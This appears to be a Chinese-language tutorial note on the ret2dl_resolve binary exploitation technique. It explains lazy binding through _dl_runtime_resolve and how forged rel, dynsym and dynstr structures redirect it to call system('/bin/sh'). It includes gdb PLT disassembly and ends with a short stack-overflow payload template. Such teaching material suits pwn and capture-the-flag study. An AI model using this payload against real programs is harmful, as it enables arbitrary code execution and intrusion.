ret_2_dl_resolve
理论背景
在调用动态链接库中的函数时,会触发_dl_runtime_resolve进行延迟绑定。绑定过程需要2个变量:link_map和offset/index。前者在程序中为一静态变量,可通过其访问各dynamic section。后者为rel table的一个offset,用以找到rel结构体。通过rel结构体的r_info字段,可找到对应symbol table的结构体。通过symbol结构体的st_name字段,可找到string table中对应的函数名string。最后通过这个函数名,在动态链接库中找到其对应的GOT地址,写回rel结构体的r_offset字段,并执行这个GOT函数。
整个机制如下图绿色箭头所示。

利用方法
- 伪造rel、dynsym和dynstr结构体,确保他们之间的引用关系成立,在伪造的dynstr结构体中写入想要篡改的函数名
- 执行_dl_runtime_resolve,其中需要压入参数offset/index指向伪造的rel结构体。最终执行动态链接的函数。
由于_dl_runtime_resolve不是简单的call,在执行前后有以下注意点:
如何找到利用_dl_runtime_resolve的位置
在gdb中查看调用
→ 0x804844c call 0x8048300 [read@plt](mailto:read@plt)
0x8048300 <read@plt+0> jmp DWORD PTR ds:0x804a00c << 第一次调用时直接指向@plt+6,即下一条语句
0x8048306 <read@plt+6> push 0x0 << 压入offset/index
0x804830b <read@plt+11> jmp 0x80482f0 << _dl_runtime_resolve的利用入口,位于调用plt函数后的第二个jmp
0x8048310 <alarm@plt+0> jmp DWORD PTR ds:0x804a010
0x8048316 <alarm@plt+6> push 0x8
0x804831b <alarm@plt+11> jmp 0x80482f0
gef➤ x/10i 0x80482f0
0x80482f0: push DWORD PTR ds:0x804a004 << 压入link_map
0x80482f6: jmp DWORD PTR ds:0x804a008 << core of _dl_runtime_resolve
0x80482fc: add BYTE PTR [eax],al
0x80482fe: add BYTE PTR [eax],al
0x8048300 [read@plt](mailto:read@plt): jmp DWORD PTR ds:0x804a00c
0x8048306 <read@plt+6>: push 0x0
0x804830b <read@plt+11>: jmp 0x80482f0
在利用时,伪造完相应的3个结构体后,最后一次溢出时:
payload2 = "A"*n # padding to return address
paylaod2 += resolve # _dl_runtime_resolve的利用地址(0x80482f0)
paylaod2 += p32(ret_plt_offset) # 伪造的rel结构体距离.rel.plt section的offset
paylaod2 += p32(0xdeadbeef) # resolve后的返回地址,可任意填写
paylaod2 += p32(binsh_bss_address) # address of "/bin/sh",篡改的plt函数(如"system")的参数